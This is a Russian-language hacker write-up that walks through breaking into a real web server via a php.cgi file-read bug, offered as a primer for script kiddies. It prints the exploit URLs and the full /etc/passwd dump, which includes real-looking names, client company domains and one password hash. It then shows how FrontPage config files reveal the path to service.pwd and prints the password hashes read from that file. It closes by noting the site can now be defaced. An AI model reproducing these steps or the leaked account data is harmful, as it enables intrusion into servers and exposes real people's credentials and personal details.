Как я ломал..

В статье будет описан как раз тот случай, когда взлом происходит посредством не одного какого-либо бага, а взаимодействием нескольких. Можете считать этот RTFM пособием для начинающих scr|k1d'ов =) Сразу скажу, название сервера я изменил на www.lame.com, опасаясь редефейсов и, впоследствие, закрытия этих багов. И так, приступим.
Началось всё с того, что какой-то чел кинул мне в приват урл: www.lame.com/cgi-bin/php.cgi. И спросил, что он с этой багой сделать сможет. Я в этот момент был в awey'e и поэтому ответить сразу не смог =( Када я вернулся, его уже не было.. Решил поюзать сам. Набрал:
www.lame.com/cgi-bin/php.cgi?/etc/passwd. И опаа:
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail: news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp: operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games: gopher:x:13:30:gopher:/usr/lib/gopher-data: ftp:x:14:50:FTP
User:/home/ftp: nobody:x:99:99:Nobody:/: patrick:x:500:500:RHS Linux User:/home/patrick:/bin/bash
www:x:501:501:RHS Linux User:/home/www:/bin/nobash CAN barbara:x:502:502:RHS Linux
User:/home/barbara:/bin/bash briane:x:503:503:RHS Linux User:/home/briane:/bin/bash CAN
roger:x:505:505:RHS Linux User:/home/roger:/bin/nobash MOVED to 03 20020122loffreno:x:506:506:RHS
Linux User:/pub/loffreno:/bin/nobash bbmann:x:507:507:RHS Linux User:/pub/bbmann:/bin/nobash
candy:x:509:509:Candy from C21 AAIM:/pub/aaim/images:/bin/nobash CAN ftmvip:x:510:504:RHS Linux
User:/pub/vip:/bin/nobash CAN 981103andyiza:x:511:510:RHS Linux User:/pub/virtual:/bin/nobash
lynn:x:504:511:Lynn at Shell Point Village 981014:/pub/spv:/bin/nobash CAN
sanreal:x:512:512:Sanibel Holiday/Realty FTP, (Bryan in IL):/pub/sanreal:/bin/nobash CAN
swflso:x:513:513:Southwest Florida Symphony Orchestra:/pub/swflso:/bin/nobash CAN
rlillie:0HYG72nwLmIfc:514:514:Ray Lillie FTP for VIP, approved by Tony
Primeaux:/pub/vip:/bin/nobash CAN mikemc:x:515:515:RHS Linux User:/pub/mikemc:/bin/nobash CAN
sanvip:x:516:516:RHS Linux User:/pub/vip:/bin/nobash CAN holly:x:508:519:RHS Linux
User:/home/holly:/bin/bash sandal:x:518:520:RHS Linux User:/pub/sandalfoot:/bin/nobash
jenny:x:519:521:RHS Linux User:/pub/fishdocks:/bin/nobash tween:x:520:522:RHS Linux
User:/pub/tween:/bin/nobash shell:x:521:523:Shell Point FTP:/pub/spv:/bin/nobash
twcam:x:523:525:RHS Linux User:/pub/tween/cam:/bin/nobash fishing:x:524:526:RHS Linux
User:/pub/santivafish:/bin/nobash flycom:x:525:527:Per Ed Euchland:/pub/flycom:/bin/nobash
davids:x:526:528:David Schuldenfrei FTP:/pub/dls:/bin/nobash CAN 20010404shrs:x:527:529:20001010
SHRS FTP Access www.sanibel-resort.com for Peer:/pub/shrs:/bin/nobash CAN
sturgeon:x:517:518:LOFFRENO FTP JASON STURGEON iGROUP
Inc./ithinkgroup.com:/pub/loffreno:/bin/nobash smuggler:x:529:531:SMUGGLERS COVE
FTP:/pub/smugglers:/bin/nobash CAN german:x:530:532:trop traverl ftp for
westwind:/pub/westwind:/bin/nobash wwinn:x:531:533:westwind ftp access:/pub/westwind:/bin/bash
CAN 20011207joe:x:532:534:JOE KUSTEK FTP:/home/joe:/bin/nobash web:x:533:535:RHS Linux
User:/home/web:/bin/bash golden:x:534:536:GOLDEN BOAT LIFTS FTP
20020124:/pub/boatliftstore:/bin/nobash paulp:x:528:530:SCHULDENFREI FTP LOG FILES PAUL
PRIMO:/pub/dls:/bin/nobash
Как видите, ничего хорошего. И вот теперь началось самое интересное. Веб сервер у них был Apache vs FrontPage. Точные версии не помню, да это и не имеет значения. Так вот, я сразу полез за service.pwd. Доступ для nobody оказался запрещён. А для кого он 100%-но разрешён? Правильно, для webserver'a. То есть, нам надо заставить сам сервер открыть этот файл. Каким образом? Правильно, через php.cgi. Тут всплыла ещё одна проблема. Файл php.cgi читает файлы не из своего каталога, а из корня. Др. словами, нам нужно знать, полный путь от / до service.pwd.
Я нашёл 3 решения этой проблемы:
1) файл access.cnf
Содержание:
vti_encoding:SR|utf8-nl RealmName:www.lame.com PasswordDir:/pub/bbmann/_vti_pvt
2) файл .htaccess
Содержание:
# -FrontPage-

IndexIgnore .htaccess */.??* *~ *# */HEADER* */README* */_vti*


order deny,allow
deny from all
allow from all


order deny,allow
deny from all

AuthName www.bbmannpah.com
AuthUserFile /pub/bbmann/_vti_pvt/service.pwd
AuthGroupFile /pub/bbmann/_vti_pvt/service.grp
3) файл /etc/passwd
Содержание:
...
bbmann:x:507:507:RHS Linux User:/pub/bbmann:/bin/nobash
...

В общем, я ввёл:
http://www.lame.com/cgi-bin/php.cgi?/pub/bbmann/_vti_pvt/service.pwd
Ответ был: bbmann:jZivoI3D5sFIE www:A1k.4xU4P259A web:tmQThvWuNlquk.
Вот вам и весь взлом =)
Можем дефейсить